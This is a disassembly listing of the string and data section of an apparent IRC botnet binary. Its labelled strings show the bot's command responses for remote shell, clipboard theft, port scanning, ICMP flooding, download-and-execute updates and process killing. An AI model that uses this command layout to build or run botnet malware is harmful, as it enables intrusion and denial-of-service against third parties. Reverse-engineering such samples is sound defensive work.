		dd 2029206Ch, 2BBBB02h,	73252020h, 0
unk_4333E8	db    2			; DATA XREF: sub_40CE55+59E5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_433438	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_40CE55+596Fo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 20732520h, 74737973h
		dd 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40CE55+5969o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_40CE55+5962o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40CE55+5907o
aSecure		db 'secure',0           ; DATA XREF: sub_40CE55+58F6o
		align 4
unk_433488	db    2			; DATA XREF: sub_40CE55+58EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_4334D4	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_4334E4	dd 646E6946h, 6C696620h, 65hdword_4334F0	dd 72027002h, 1F631F6Fh, 2E2Ehdword_4334FC	dd 636F7250h, 20737365h, 7473696Ch, 0dword_43350C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5779o
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_4125C1o
		align 10h
dword_433550	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5757o
		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_41259Fo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5722o
		align 4
dword_4335A4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+56D6o
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_4335E4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5698o
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_433610	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55+566Do
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_43365C	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55+5602o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_43368C	dd 627573h	dword_433690	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+558Do
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh
dword_4336BC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40CE55+5572o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_433708	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40CE55+54E5o
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_433734	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5464o
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_433760	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5435o
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_43378C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+53E0o
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh
dword_4337B8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+53CDo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_433808	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+535Eo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: sub_40CE55+533Eo
		align 4
dword_433844	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+52E7o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 4
unk_433878	db    2			; DATA XREF: sub_40CE55+52BBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 64h,	6Bh, 65h
		db  79h	; y
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_4338AC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+526Fo
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_4338D8	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_412027o
		dd 2029206Ch, 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_43390C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55+51CBo
		dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_433948	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55+51AFo
		dd 2029206Ch, 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_433984	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5199o
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CE55+516Bo
		align 4
unk_4339C8	db    2			; DATA XREF: sub_40CE55:loc_411FB0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_433A08	db    2			; DATA XREF: sub_40CE55+5140o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 10h
unk_433A40	db    2			; DATA XREF: sub_40CE55:loc_411F85o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 10h
unk_433A80	db    2			; DATA XREF: sub_40CE55:loc_411F7Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 10h
unk_433AC0	db    2			; DATA XREF: sub_40CE55+5122o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
unk_433AF8	db    2			; DATA XREF: sub_40CE55+50A4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_10	db 'Failed to start server thread, error: <%d>.',0
unk_433B44	db    2			; DATA XREF: sub_40CE55+4F32o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_433B90	db    2			; DATA XREF: sub_40CE55+4E0Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 4
dword_433BC4	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55:loc_411C49o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_12	db '  Failed to start scan, port is invalid.',0
		align 10h
dword_433C10	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+4D35o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_433C8C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4AF9o
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_433CC4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4AE0o
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_433CF8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4AC0o
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_433D2C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4AA7o
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_433D58	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55:loc_41187Eo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_433D98	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55+4A22o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 10h
dword_433DD0	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55:loc_411831o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_433E0C	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55+49D2o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40CE55+49B8o
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+492Do
					; sub_40CE55:loc_412589o
		align 4
dword_433E5C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+48B7o
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_433E94	db    2			; DATA XREF: sub_40CE55:loc_4116F7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 4
unk_433ECC	db    2			; DATA XREF: sub_40CE55+4898o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_433EFC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+486Fo
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_433F34	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_4116A8o
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 10h
dword_433F70	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4825o
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_433FA0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55:loc_411646o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 4
dword_433FE4	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+47E7o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 4
dword_43401C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55:loc_4115E6o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 4
dword_434064	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+478Ao
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
dword_43409C	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CE55+4749o
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_4340CC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+46C4o
		dd 2029206Ch, 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_434104	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CE55+4652o
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
unk_43412C	db    2			; DATA XREF: sub_40CE55+4637o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_13	db 'Failed to start connection thread, error: <%d>.',0
dword_43417C	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40CE55+45C8o
		dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h,	2E732520h
		dd 0
dword_4341A8	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: sub_40CE55:loc_4113AEo
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_4341D8	db    2			; DATA XREF: sub_40CE55+454Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_434208	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55+451Eo
		dd 2029206Ch, 2BBBB02h,	6F432020h, 6E616D6Dh, 203A7364h
		dd 7325h
dword_434234	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4513o
		dd 2029206Ch, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_434274	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+44D3o
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_4342A8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+44BFo
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 10h
dword_4342E0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+443Ao
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_43430C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+43FFo
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 10h
dword_434350	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+43E3o
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_434388	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4361o
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_4343B8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4326o
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_4343E8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+42D0o
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_434418	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4268o
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_434440	dd 54524150h, 0D732520h, 0Ah					; sub_40CE55+4AB2o
dword_43444C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+41FFo
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40CE55+41F1o
		align 4
dword_434488	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CE55+41C8o
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_4344B8	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CE55+415Do
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_4344E8	dd 45444F4Dh, 732520hdword_4344F0	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CE55+40D3o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_434520	dd 4B43494Eh, 732520h					; sub_40CE55+48F9o
dword_434528	dd 4E494F4Ah, 20732520h, 7325hdword_434534	dd 54524150h, 732520hdword_43453C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_410E36o
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_434584	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+3FAAo
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40CE55+3F59o
		align 4
dword_4345B8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_410D66o
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_4345E0	dd 25207325h, 73252073h, 73253A20h, 0					; sub_40CE55+3F84o ...
unk_4345F0	db    2			; DATA XREF: sub_40CE55:loc_410CD5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_434648	db    2			; DATA XREF: sub_40CE55+3E76o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_434698	db    2			; DATA XREF: sub_40CE55+3E07o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40CE55+3D61o
		align 4
dword_4346E4	dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
					; DATA XREF: sub_40CE55+3D02o
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	3A73646Eh
		dd 732520h
unk_434710	db    2			; DATA XREF: sub_40CE55+3CE9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_434748	db    2			; DATA XREF: sub_40CE55+3C61o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_434798	db    2			; DATA XREF: sub_40CE55+3BE7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_4347DC	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CE55:loc_41099Eo
					; sub_40CE55:loc_4115A5o
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_4347FC	db    2			; DATA XREF: sub_40CE55+3B34o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_434834	db    2			; DATA XREF: sub_40CE55:loc_410967o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 10h
unk_434880	db    2			; DATA XREF: sub_40CE55+3B08o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_4348CC	db    2			; DATA XREF: sub_40CE55+3A8Eo
